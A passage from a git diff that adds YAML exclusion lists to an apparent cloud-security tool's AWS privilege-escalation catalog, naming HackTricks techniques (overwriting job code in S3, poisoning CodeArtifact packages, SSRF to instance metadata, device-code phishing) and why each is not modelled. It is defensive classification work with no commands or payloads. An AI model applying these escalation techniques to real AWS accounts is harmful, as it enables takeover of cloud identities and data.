src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#s3putobject-on-configured-training-or-processing-code-job-creation-optional + source_revision: 171e422299 + technique: Overwrite S3 code consumed by existing SageMaker training or processing jobs + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-s3-putobject-job-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#ecrputimage-on-a-mutable-processing-image-later-job-required + source_revision: a66f094ede + technique: Replace a mutable ECR image consumed by a later SageMaker Processing job + reason: 'The ecr_repository artifact is not joined to an exact consuming resource and role: + the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-ecr-putimage-processing-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: b587e6bd26 + technique: Write a DAG file into an MWAA environment's DAG bucket and run code as its execution + role + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-mwaa-s3-putobject-dag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatedocument-ssmupdatedocumentdefaultversion-ssmlistdocuments--ssmgetdocument + source_revision: 171e422299 + technique: Modify a custom SSM document already executed by associations or maintenance windows + reason: 'The ssm_document artifact is not joined to an exact consuming resource and role: the + AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-ssm-updatedocument-defaultversion +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#s3putobject-on-a-configured-bootstrap-or-step-script + source_revision: 171e422299 + technique: Overwrite an S3 bootstrap action or step script used by EMR + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-emr-s3-putobject-bootstrap-or-step-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + technique: Overwrite the S3 script or dependency of an existing Glue job + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-glue-s3-putobject-job-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketnotification-s3putobject-s3getobject + source_revision: 171e422299 + technique: Race-replace CloudFormation templates uploaded to a template bucket + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-cloudformation-template-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject + source_revision: 6fb9ac51fd + technique: Replace an S3 object fetched and run by an EC2 managed node + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-ec2-userdata-object +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject-optional-over-terraform-state-file + source_revision: 171e422299 + technique: Tamper with a Terraform state file consumed by a pipeline + reason: 'The terraform_state_object artifact is not joined to an exact consuming resource and + role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. + Writing the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-terraform-state +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkrebuildenvironment-s3-write-permissions--many-others + source_revision: 171e422299 + technique: Replace an environment's source bundle in S3 and rebuild it + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-elasticbeanstalk-rebuildenvironment-s3-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#publish-a-newer-compatible-package-version + source_revision: b587e6bd26 + technique: Publish a newer compatible version of a trusted CodeArtifact package consumed by + a privileged workload + reason: 'The codeartifact_package artifact is not joined to an exact consuming resource and + role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. + Writing the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-codeartifact-publishpackageversion-consumer-poisoning diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml new file mode 100644 index 0000000000..b2679c7cf1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml @@ -0,0 +1,176 @@ +# AWS: sections reviewed by the HackTricks privesc completeness audit (rev 6fb9ac51fd) and intentionally NOT modelled. +# Each item: {source, technique, reason}. "NEEDS SCHEMA: " items are temporary (see privesc-schema-proposals-aws.md). + +# --- P0 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + technique: gamelift:CreateGameServerGroup + iam:PassRole + reason: The game server group RoleArn is assumed by GameLift FleetIQ only to manage the Auto Scaling group and its instances; it is not exposed to code on the instances, which run with the launch template's instance profile (modelled by the EC2 launch-template / RunInstances entries). CreateFleet and CreateContainerFleet are modelled in aws-gamelift-passrole-createfleet. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + technique: iam:SetDefaultPolicyVersion on a policy attached to a role the source can assume + reason: An existing policy version must be proven to grant administrator access; the v2 selector only covers creating a new default version. + +# --- P4 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "panorama:CreateApplicationInstance / simspaceweaver:StartSimulation + iam:PassRole" + reason: "Both services have reached end of support (AWS Panorama and SimSpace Weaver are discontinued for new and existing customers), so no live edge can be produced." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "osis/entityresolution/timestream/logs/backup-search/dax/aiops/chime/mediapackage-vod/mediaconvert create + iam:PassRole" + reason: "Execution-table rows that run only fixed service logic (ingestion pipelines, matching workflows, scheduled queries, exports, transcoding, DynamoDB caching, telemetry reads) as the passed role; data-access confused deputy without code execution or credentials, same reasoning as #the-pattern." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "finspace:CreateKxUser / finspace:UpdateKxUser" + reason: "The kdb user's iamRole identifies which IAM principal may obtain a connection string for that user; binding a role does not vend that role's credentials to the source. Code execution as the role is modelled by aws-finspace-passrole-createkxcluster." + +# --- R0 --- +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#restore-revoked-iam-roles-anywhere-certificates-by-weakening-the-crl + technique: Restore a previously revoked IAM Roles Anywhere certificate + reason: Requires the source to already possess the revoked end-entity certificate and private key, runtime secrets absent from the configuration snapshot; changing the CRL alone does not identify a reachable role. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mq-broker-admin-persistence/README.md#rabbitmq-administrator-credentials---persistent-broker-administrator + technique: Create a native RabbitMQ administrator from an existing broker administrator + reason: Requires a previously known RabbitMQ administrator password and network access; no AWS IAM action grants the starting native broker identity. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#create-an-admin-user-inside-the-db + technique: Create a native database administrator using SQL + reason: Requires existing database administrator credentials and engine-level SQL access; no AWS IAM action in this section grants the starting database identity. +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#external-id-confused-deputy + technique: Third-party provider confused deputy (missing or reused sts:ExternalId) + reason: The attacker is a tenant of an external SaaS provider; the provider-side tenant-to-role binding is not in any snapshot. Principals inside the snapshot that can assume an ExternalId-conditioned + role are already drawn (conditional) by aws-sts-assumerole-trusted. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#oidc-and-saml-over-trust + technique: Broad OIDC sub / SAML IdP over-trust + reason: Needs a token or assertion from the external IdP (external identity possession), duplicate of the _excluded_a sts:AssumeRoleWithWebIdentity / AssumeRoleWithSAML exclusions. AWS-side provider takeover + is aws-iam-updatesamlprovider / aws-iam-oidcprovider-add-client-id; EKS sub-less trusts are k8s-cloud-eks-irsa-create-matching-sa. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-cloudtrail-to-s3 + technique: Service-principal bucket policy without aws:SourceArn/SourceAccount + reason: Data/log injection into the victim bucket; no principal privileges are obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-service-invocation-of-lambda + technique: Lambda permission trusting a service principal without source conditions + reason: Lets a foreign account feed event input to existing function code; whether the input yields execution as the role is application logic (no code or configuration control). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#s3-bucket-name-ownership-changes + technique: Re-creating a deleted legacy-global S3 bucket name + reason: 'Namespace reuse is a dangling-reference Exposure finding: the gain is data delivered to or read from the attacker bucket, and the consumer-to-bucket mapping of deleted buckets is not in the snapshot.' + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#policy-backdoors-and-attacker-resource-lures + technique: Resource-policy backdoors and attacker-resource lures + reason: Resource-policy backdoors are persistence/data sharing for an external principal; lures depend on a victim workload choosing an attacker-supplied resource (application logic). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#high-value-service-matrix + technique: Cross-account resource sharing matrix (S3, KMS, Secrets Manager, SNS/SQS, RAM, snapshots, models, ...) + reason: Rows are data exposure, injection or persistence. Role-bearing rows are modelled by their service entries (aws-sts-assumerole-trusted, aws-ecr-push-consumed-tag, aws-lambda-updatefunctionconfiguration, + aws-ssm-updatedocument-defaultversion, CodeArtifact entries). A Service Catalog portfolio share provisions in the recipient account under that account's own launch role, and ds:ShareDirectory only lets + the consumer domain-join its own workloads. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#messaging-and-event-injection + technique: External SNS/SQS/EventBridge/API Gateway input to privileged consumers + reason: Input injection into consumers; turning it into execution as the consumer role is application logic. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#resource-access-manager + technique: RAM share management (external / OU / org shares) + reason: Data, network and resource-use sharing; no IAM principal is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#breaking-the-isolation-2021 + technique: CloudTrail / Config / SAR cross-account service flaws + reason: Fixed AWS service vulnerabilities (historical); the current pattern is data injection only. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amplifycognito-public-role-assumption-cve-2024-28056 + technique: Cross-account assumption of aud-less Cognito roles + reason: Fixed vulnerability (CVE-2024-28056); STS now rejects cross-account Cognito role assumption without an aud restriction. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#shadow-resources-and-bucket-monopoly-2024 + technique: Pre-created shadow buckets of AWS services + reason: Fixed vulnerability (AWS remediated by June 2024). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amazon-datazone-associateenvironmentrole-confused-deputy-2024 + technique: DataZone AssociateEnvironmentRole cross-account confused deputy + reason: Fixed vulnerability; the current same-account technique is aws-datazone-passrole-associateenvironmentrole. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md#aws-device-code-phishing + technique: Identity Center device-code phishing + reason: Requires the victim user to approve the device code (social engineering); no permission of a source principal grants it. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#buildspecyml + technique: Write access to an external repository consumed by CodeBuild + reason: Needs write access to an external SCM repository (GitHub/Bitbucket/GitLab) not represented in the snapshot; AWS-side sources are modelled by aws-codecommit-gitpush-pipeline-source and aws-codebuild-s3-source-poisoning. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#self-hosted-github-actions-runners-in-aws-codebuild + technique: GitHub workflow running on a CodeBuild-hosted runner + reason: Needs workflow control in the external GitHub repository; not expressible from AWS permissions. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#anonymous-privileged-cluster-operations + technique: Kubernetes anonymous bindings with exec/write + reason: Kubernetes RBAC (system:anonymous bindings) belongs to the k8s catalog; no AWS permission is involved. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#workload-ssrf--imds--pod-identity--aws-creds + technique: SSRF to IMDS / Pod Identity credentials + reason: Needs an application vulnerability (SSRF/RCE). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md#ssrf + technique: SSRF to EC2 instance metadata credentials + reason: Needs an application vulnerability (SSRF). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md#aws-secretsession-token-assignments + technique: Leaked access keys / session tokens + reason: Requires a leaked secret (runtime-only state no snapshot holds). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md#sagemaker-presigned-notebookstudio-urls + technique: Leaked SageMaker presigned notebook/Studio URL + reason: Requires a leaked URL (runtime secret); minting such URLs is modelled by the SageMaker privesc entries. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-datasync-agent-unauthenticated-access/README.md#authenticated-agent-claim-after-activation-key-disclosure + technique: Claim an unactivated DataSync agent with datasync:CreateAgent + reason: Gains a network position (appliance ownership) in the victim network; no IAM principal or role is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-appconfig-unauthenticated-access/README.md#appconfig-agent-configuration-reads + technique: Querying a reachable AppConfig Agent + reason: Configuration data read through the agent role; no credentials or code execution as the role. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md#oidc---github-actions-abuse + technique: GitHub Actions OIDC over-broad trust + reason: Needs a GitHub-issued OIDC token (external identity); duplicate of the sts:AssumeRoleWithWebIdentity exclusion. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#poison-or-expand-an-existing-service-association + technique: "aidevops:AssociateService / aidevops:UpdateAssociation (+ iam:PassRole)" + reason: "The passed monitoring/elevated role is used by the DevOps Agent for its own investigations; the caller gets no session or code execution as the role unless it also controls the agent's operator plane (see NEEDS SCHEMA X0-1)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--mint-a-workload-token-and-recover-stored-api-keys + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceApiKey + secretsmanager:GetSecretValue" + reason: "Returns a third-party API key stored for agents, not an AWS principal's credentials (same as the excluded AgentCore credential-vend section of the privesc page)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--recover-stored-oauth-access-tokens + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceOauth2Token + secretsmanager:GetSecretValue" + reason: "Returns an external OAuth access token bounded by the external provider's scopes; no AWS principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#pca-connector-scepcreatechallenge--getchallengepassword--mint-a-scep-enrollment-secret-rogue-device-certificate-backdoor + technique: "pca-connector-scep:CreateChallenge / GetChallengePassword" + reason: "Yields a device certificate for network/mTLS authentication bounded by the SCEP certificate profile; the page documents no AWS principal reached (an IAM Roles Anywhere trust anchor on the same CA would be a separate, undocumented chain)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md#recover-githubbitbucket-configured-tokens + technique: "CodeBuild source-provider token leakage (in-build GetBuildInfo, custom Docker image MitM, insecureSsl)" + reason: "Recovers an external GitHub/Bitbucket credential; the prerequisite build-control permissions (CreateProject/UpdateProject/StartBuild) already yield the project role through the modelled CodeBuild entries." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md#misconfigurations-that-allow-external-pr-code-execution + technique: "Untrusted pull-request execution through weak CodeBuild webhook filters" + reason: "The actor is an external Git user exploiting a webhook-filter misconfiguration, not an AWS principal holding IAM permissions; not expressible as a principal-to-principal edge." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateonetimedeeplinkcode--mint-an-authenticated-omni-browser-session + technique: "cloudwatch:CreateOneTimeDeepLinkCode" + reason: "The browser session is bounded by the caller's own IAM identity and space grants; no other principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#add-an-app-client-secret-and-mint-an-m2m-token + technique: "cognito-idp:AddUserPoolClientSecret (post-exploitation page)" + reason: "M2M access tokens carry only the client's custom resource-server scopes (application plane); they are not accepted by identity pools and grant no AWS credentials." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrock-agentcorecreategatewaytarget--updategatewaytarget--mitm-an-agents-tools-tool-response-injection + technique: "bedrock-agentcore:CreateGatewayTarget / UpdateGatewayTarget" + reason: "Tool-response injection and capture of tool arguments / outbound third-party credentials; influences an agent through prompt content but does not give the caller the gateway role's session." + source_revision: 6fb9ac51fd + +# --- X1 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#related-iot-device-fleet-primitives-same-archetype + technique: "iotevents:CreateDetectorModel / iotevents:UpdateDetectorModel + iam:PassRole" + reason: "Detector-model actions are a fixed set of AWS integrations (publish to SNS/SQS/IoT topics, Lambda invoke, DynamoDB/Firehose writes) executed by the service with the passed role; the source chooses only action parameters and gains narrow data-plane writes, never the role's general privileges or credentials. Same exclusion class as other confused-deputy data-sink PassRole cases." +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md#shadow-copy + technique: EBS snapshot extraction of Active Directory domain hashes + reason: The configuration snapshot cannot identify which EBS volume contains a Domain Controller database and SYSTEM hive or whether their runtime contents yield usable domain credentials; snapshot permission alone does not establish a reachable domain administrator. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml new file mode 100644 index 0000000000..ebd9ee798b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml @@ -0,0 +1,410 @@ +# AWS part B: techniques from assigned hacktricks-cloud pages excluded from the privesc catalog. +# Each entry: {source, technique, reason}. Reasons follow schema rule 4 (data read, DoS, persistence-only, +# network pivot, fixed code/workflow invoked with attacker input) or rule 5 (outdated / unverifiable). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + technique: elasticfilesystem:DeleteFileSystemPolicy / PutFileSystemPolicy + reason: Only the exact PutFileSystemPolicy ClientMount self-grant with reviewed before/after authorization is active as aws-efs-putfilesystempolicy-self-grant. DeleteFileSystemPolicy and broader ClientWrite or ClientRootAccess variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemclientmount-and-client-action-combinations + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemclientmount-and-client-action-combinations + source_revision: f2aa915198 + technique: elasticfilesystem:ClientMount / ClientWrite / ClientRootAccess combinations + reason: File-system data access only; any code-planting effect on hosts that execute from EFS is an unmodelled artifact chain without a stable consumer mapping. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + source_revision: f2aa915198 + technique: elasticfilesystem:CreateAccessPoint + ClientMount + reason: Bypasses POSIX restrictions on file data; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatemounttarget + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreatemounttarget + source_revision: f2aa915198 + technique: elasticfilesystem:CreateMountTarget + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemmodifymounttargetsecuritygroups + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemmodifymounttargetsecuritygroups + source_revision: f2aa915198 + technique: elasticfilesystem:ModifyMountTargetSecurityGroups + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#gameliftrequestuploadcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftrequestuploadcredentials + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: gamelift:RequestUploadCredentials + reason: Returns credentials scoped by GameLift to uploading a build to a service-owned S3 location; does not expose a customer principal's privileges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmslistkeyskmsputkeypolicy-kmslistkeypolicies-kmsgetkeypolicy + source_revision: a53b46392c + technique: kms:PutKeyPolicy + reason: Grants control/use of a KMS key (cryptographic/data access); no other principal's privileges obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreategrant + source_revision: a53b46392c + technique: kms:CreateGrant + reason: Grants use of a KMS key; data access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreatekey-kmsreplicatekey + source_revision: a53b46392c + technique: kms:CreateKey + kms:ReplicateKey + reason: Replicates a multi-Region key with a new policy; key/data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#kmsdecrypt + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmsdecrypt + source_revision: f2aa915198 + technique: kms:Decrypt + reason: Data read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsaildownloaddefaultkeypair + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsaildownloaddefaultkeypair + source_revision: f2aa915198 + technique: lightsail:DownloadDefaultKeyPair + reason: SSH access to Lightsail instances; Lightsail instances have no customer IAM instance profile, so no IAM principal is obtained (host/data access). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetinstanceaccessdetails + source_revision: a53b46392c + technique: lightsail:GetInstanceAccessDetails + reason: Host access to Lightsail instances without a customer IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailcreatebucketaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatebucketaccesskey + source_revision: f2aa915198 + technique: lightsail:CreateBucketAccessKey + reason: Creates keys scoped to a Lightsail bucket (service-managed identity); data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailgetrelationaldatabasemasteruserpassword + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetrelationaldatabasemasteruserpassword + source_revision: f2aa915198 + technique: lightsail:GetRelationalDatabaseMasterUserPassword + reason: Database credential read; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdaterelationaldatabase + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdaterelationaldatabase + source_revision: f2aa915198 + technique: lightsail:UpdateRelationalDatabase + reason: Database password reset/exposure; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailopeninstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailopeninstancepublicports + source_revision: f2aa915198 + technique: lightsail:OpenInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailputinstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailputinstancepublicports + source_revision: f2aa915198 + technique: lightsail:PutInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailsetresourceaccessforbucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailsetresourceaccessforbucket + source_revision: f2aa915198 + technique: lightsail:SetResourceAccessForBucket + reason: Bucket data access for an instance; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdatebucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatebucket + source_revision: f2aa915198 + technique: lightsail:UpdateBucket + reason: Bucket access/exposure change; data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatecontainerservice + source_revision: a53b46392c + technique: lightsail:UpdateContainerService + reason: Container code/env change on Lightsail; no customer IAM role is attached to Lightsail containers. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatedomainentry + source_revision: a53b46392c + technique: lightsail:CreateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatedomainentry + source_revision: a53b46392c + technique: lightsail:UpdateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#amazon-macie---bypass-reveal-sample-integrity-check + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie---bypass-reveal-sample-integrity-check + source_revision: f2aa915198 + technique: Macie reveal-sample integrity bypass + reason: Data disclosure only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagedescribechannel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagedescribechannel + source_revision: fd7d56b0a9 + technique: mediapackage:DescribeChannel + reason: Reads ingest credentials of a media channel; data/third-party credential, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagelistchannels + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagelistchannels + source_revision: f2aa915198 + technique: mediapackage:ListChannels + reason: Read only. +- source: 